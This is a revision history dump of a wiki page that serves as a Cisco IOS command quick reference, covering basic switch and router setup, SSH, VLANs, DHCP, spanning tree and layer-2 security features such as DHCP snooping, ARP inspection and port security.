=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk Allowed VLANs ===<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
switchport trunk native vlan 99<br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts. <br />
<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1074
Cisco Commands
2026-02-04T22:26:36Z
<p>50.220.241.211: </p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts. <br />
<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1073
Cisco Commands
2026-02-04T22:14:30Z
<p>50.220.241.211: /* IPv6 ND Other-Config Flag */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
